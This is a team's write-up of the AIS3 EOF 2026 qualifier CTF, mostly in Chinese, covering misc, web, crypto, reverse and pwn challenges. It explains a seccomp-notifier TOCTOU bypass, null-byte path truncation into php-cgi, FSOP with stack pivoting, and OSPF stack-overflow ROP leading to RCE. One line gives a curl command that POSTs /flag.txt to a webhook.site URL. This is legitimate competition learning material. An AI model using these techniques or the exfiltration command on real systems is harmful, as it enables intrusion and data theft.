2026 AIS3 EOF Qual writeup

in this ctf i mainly focus on pwn and successfully solved 2 pwn challenge
thanks to my teammate for holding on other categories
Misc
fun
Solver: LemonTea
flag.enc
eabbc25677f3084458f0531f86863f226c95d555e6c28bd7
接著分析 loader。透過 strings 看到它使用了 libbpf 來載入 xdp_prog.o,並將其 attach 到網路介面上 它還會讀取 perf buffer 的事件 這代表xdp_prog.o 是核心邏輯所在,它處理網路封包並將結果傳回 userspace。
使用 objdump 來分析 xdp_prog.o 的 BPF bytecode:
1 | objdump -d xdp_prog.o |
在 xdp_encoder 函式中,可以看到大量的 ldxb (load byte) 和 xor 指令。程式邏輯大致如下:
- 檢查封包長度。
- 從封包的特定偏移量(Offset 42 開始)讀取 byte。
- 將讀取到的 byte 與一個 hardcoded 的數值進行 XOR 運算。
- 將結果存入 stack。
- 最後透過
bpf_perf_event_output將處理後的資料傳送出去。
部分組語如下:
1 | 110: 71 24 2a 00 00 00 00 00 ldxb %r4,[%r2+42] ; 讀取第 1 個 byte (Offset 42) |
這是一個簡單的 XOR 加密 flag.enc 中的內容就是 Flag 經過這個 XDP 程式處理後的結果。
exploit.py
1 | enc_hex = "eabbc25677f3084458f0531f86863f226c95d555e6c28bd7" |
Flag: EOF{si1Ks0Ng_15_g0oD_T0}
SaaS
Solver: LemonTea
seccomp-sandbox.c
1 |
|
這題我們可以看到他使用了Seccomp規則
1 | seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(open), 0); |
所有與開檔相關的 syscall 都會送至 notifier,由 tracer process 決定是否允許繼續執行
接着這段:
1 | if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) { |
流程為:
使用 process_vm_readv() 從 user memory 讀取 pathname
使用 realpath() 解析實際路徑
若結果為 /flag 則阻擋,否則允許繼續執行
發現:
Notifier 使用以下方式取得 pathname:
req->data.args[1]
但 Linux syscall ABI 中,pathname 的位置為:
1 | open(path, flags, mode) args[0] |
所以
使用 open() 時,notifier 會把 flags 當成指標,導致檢查錯誤
必須使用 openat() 才能正確通過 notifier
並且透過 process_vm_readv() 直接從 user memory 讀取 pathname 但有
未鎖定記憶體
未複製到 kernel space
未重新驗證
嗯對一個 TOCTOU race condition
exp.c
1 |
|
Flag: EOF{TICTACTOE_TICKTOCTOU}
MRTGuessor
Solver: LemonTea
題目給了一張圖片
看到圖片發現他是板南線
然後一開始猜 新埔 結果不是
然後覺得天花板很現代 心想可能是忠孝新生 去網路上找關鍵字 忠孝新生捷運站 找到一個Flicker
https://www.flickr.com/photos/reptile/6389443453/
但怕出錯 於是我們派出臺北人Yuto去實地考察了一番
這是他拍的照片
然後就對了
Flag: EOF{catch_up_MRT_by_checking_the_timetable_in_advance}
Web
Bun.PHP
Solver: Yuto
https://x.com/thdxr/status/1958246871861715108
這題是靠 Gemini 分析的。
從 src/ 下的 js 和 PHP 可以看的出來,他會把 /cgi-bin/ 底下的 php 檔案餵給 /usr/bin/php-cgi,然後解析結果回傳給 client。
1 | #!/usr/bin/php-cgi |
在 src/index.js 中可以看到他會檢查請求的檔案名稱結尾是不是 .php,然後用 php-cgi 的環境把 php 跑起來,並把請求的 body 餵給腳本跑起來的 process。
1 | import { $ } from "bun"; |
在 javascript 的字串中允許 \x00,而且 path.resolve 也會保留 \x00,但丟給底層的 C API 後,字串就會被截斷。
所以我們可以用 /bin/sh/0x00 再搭配 body 餵指令給他,就可以取得控制。
1 | python3 ./solve.py https://b80ef5ac068f3989.chal.eof.133773.xyz:20001/ |
腳本:
1 | import requests |
Crypto
catcat’s message
Solver: LemonTea
我們來看
chal.py
1 | from sage.all import * |
by gemini 3 pro
1 | from sage.all import * |
Flag:EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_…🐈⚔🐈}
Still Not Random
Solver: Yuto
1 | import hmac |
Flag:
EOF{just_some_small_bruteforce_after_LLL}
Reverse
bored
Solver: LemonTea
這題給了一個bin file
先寫個
diassemble.py(AI寫的)
1 | from capstone import * |
印出了
1 | python disasm.py |
於是叫AI生了個code去分析檔案
analyze-data.py
1 | import struct |
然後印出byte並且發現他是RC4
並且在看single.vcd 然後AI就幫我寫了
1 | import sys |
然後就印出Key了:b4r3MEt41
寫個decrypt file
1 | def rc4_ksa(key): |
Flag: EOF{ExP3d14i0N_33_15_4he_G0AT}
Structured - Small
Solver: Yuto

這題附件打開會看到 10 個 binary,small-flag_[0-10]。
第一個打開就可以看到 main() 在 argv[1] 接了一個字串然後做字串比對。

把之後的每個檔案的都拆出來就會是
1 | 'galf eht' |
然後可以注意到,像是 small-flag_{4,7} 有做 ror,就要把他轉回來。

small-flag_4

small-flag_8
small-flag_10 甚至還有 bswap:

組起來後就可以拿到 flag 了。
Flag:
EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}
腳本
1 | import subprocess |
Structured - Large
Solver: Yuto

這次跟 small 不同,有 25136 個檔案,勢必得用腳本解出所有的。

先打開 large-flag_0,可以看到比較的那串數字直接變成 PNG 的 header,因此可以猜測要解的是一張圖片。而且看反組譯的的組合語言,會發現前 10 的地都長的一樣。

後面也會有不一樣的但就慢慢改腳本,最後解出了這個:

然後靠隊友通靈出來。
Flag:EOF{w31l_d0N3_b0t}
腳本
1 | import sys |
賽後跟 LLM 搞了個完美的解題腳本:
1 | import subprocess |
ポケモン GO

先直接跑起來看看。程式會印出提示,要求輸入密碼。密碼錯誤後程式就結束了,所以首先要先找出密碼。

用 Binary Ninja 打開可以看到直接從 start() 開始,然後接著一坨 API Hashing 的部分,直接開動態看可以比較快還原出來。
還原之後就可以看到一開始輸入畫面的地方。

後續可以看到一個計算字串長度的 while 迴圈,接著底下就會看到一大坨比對密碼的線性運算?總之這個可以給 z3 解。
1 | from z3 import * |
執行結果是:
1 | ➜ uvr solve.py |
看來這不是 flag,重新執行程式並輸入進去看看。他會跳一個很大的寶可夢 banner 並且底下可以輸入一些文字。

會發現回到 Binary Ninja 裡面找好像沒有看到這樣的字串。順著程式流程搭配 x64dbg 往下看,可以看到他有對記憶體改權限,值得關注的是 PAGE_EXECUTE_REAWRITE,通常在解密 shellcode 或是解殼很常見。很重要的是,在 0x0042c904 的地方會先把剛剛輸入的 key 放到位址 0x43a218

然後找到解殼的部分,從地址 0x401000 解密 0x015600 個位元組,並且拿第一階段輸入的密碼作為密鑰:

寫個解密腳本:
1 | import pefile |
在 0x0042ca40 可以看到解完殼後跳到 0x405ce4,就是原本被加密的部分。接著他會 call 到 0x405b5f 一個很像 crt 的函式,在裡面 0x405c5f 的位址就可以看到呼叫 main(0x004041e0) 了。
在 main 裡面,印出 banner 的下方可以看到 getchar 迴圈讀取使用者輸入。然後底下加密輸入的函式 LLM 告訴我是 TEA。

順著可以找到核心的加密迴圈,並且發現密鑰在 0x4209dc:

1 | \xa6\xb7\xb6\x0e\x1e\x1d\x1e0\xcd\xe2g\x1a\xa6\xac\x99\xc1 |
我接著去檢查比對的邏輯,發現她會去比較地址 0x420978 的 44 個位元組,應該是已經加密過的 flag,所以我們就要用 TEA 去解密他。

1 | \x05\xd4B\x85\x9c!\xac\x96$P\xdb\x8e\xbf2\xcb=4~\xb7R\xc3\x9b9\xdb\xac\x8c\t>\x8b\xca\xd5\xe1u\x1c>P\xb5\xe6~\xcb1\x12Xg |
但事情並沒有想像中的簡單,我卡了整整一天,甚至還跑去解所有 junk code。最後土法煉鋼從 0x401000 開始慢慢往下看發現了這段:

居然直接在 0x401110(剛剛比對加密 flag 的地方) 塞一個 0xcc(aka. int3),而且看起來是在設定例外處理。
往上追進 0x402b30,就看到了這段,感覺就是偷偷先把加密過的資料 xor 0xE9。

1 | import struct |
執行結果:
1 | ➜ uvr decrypt_flag.py |
Pwn
ooonenooote
Solver: zKltch

- challenge source code
1 |
|
from the source code of the challenge it seems like we can only do out of bound underflow write since it checks the index and MAX_LEN
first I tried to manipulate the choice variable on the stack that could control where I write the data into
but sadly it faliled since i cant control what calloc return
so I looked around the the stack memory where I can control with out of bound vulnerability
and found something suspicious which is FILE Structures
maybe i can do anything with it?
I tried to set choice around there and found out that after i set the index at -108 it will be overwritten with 0x40e140 instead of the allocated memory by calloc
with that I can write the data to __stdout_FILE and do FSOP
the reason behind this is that after called the calloc
it also called the printf function
when printf is called, it overwrote the pointer allocated by calloc with __stdout_FILE
after that we just do FSOP and stack pivoting to my ROP chain
exploit
1 | from pwn import * |

Flag: EOF{I_accidently_found_this_unintended_solution_in_an_EZ_challenge_Lol_Hope_you_find_this_cool_lol_2e4e0fe9d5c9ae17bc75cc}
CAgent - OSPF
Solver: zKltch

- A OSPF routing protocol binary challenge since the source code is too long(1400+ lines) so I wont put the full source code here


- the binary is most likely going to play around ROP since statically linked and No PIE No Canary
first take a look at the challenge’s source code and found a obvious memcpy buffer overflow that num_headers could be controlled by remote user
but sadly it enabled _FORTIFY_SOURCE
when compiling with _FORTIFY_SOURCE on
it will try check the the size of destination buffer
and turn the normal memcpy function into _memcpy_chk
when calling memcpy it will check the size it trying
to copy and the size of the destination buffer
if size > size of destination buffer it will trigger _chk_fail
so attacking with the memcpy stack overflow vulnerability failed
but I found another buffer overflow vulnerability in ospf_send_hello function
the packet is a 256 bytes fixed buffer and if the remote user sending too many hello packets with different router id will cause stack overflow at while loop
using that vulnerability we successfully controlled the RIP
also noticed that we can control other registers including RBP
however since the OSPF protocol will deduplicatie same router_ID(IP) so each router_ID has to be different that mean I can only send p32(0) once and the ROP gadgets is something like 0x0000000000421B2C so i can only control flow once
to solve this issue we need to leak some ASLR address that I can write my ROP chain and stack pivoting
out of bound read in ospf_recv_lsu function
we can control num_lsas field and data do out out bound read
make the num_lsass really big and real data only few bytes
the code assume the ptr is valid header but actually copying stack memory on stack
with that we successfully leaked stack address

now I just need find somewhere on stack to put my ROP chain and stack pivoting to it
however if you just do system("/bin/sh") it would only open a shell on server side so I have to find a way to send the flag back to me
and I found that on the server side installed curl
we can make a payload that curl with flag send to my webhook
- payload:
curl https://webhook.site/16174825-680f-4c12-a819-419bc35fb072 -X POST -d "$(cat /flag.txt)"

now our final attack plan is
- leak stack address > send a packet with ROP chain on stack > stack overflow > stack pivoting > RCE
exploit
1 | from pwn import * |

Flag: EOF{Wh47_7h3_h3ll_y0u_jus7_wr073_f0r_m3_?Cl4ud3!!!}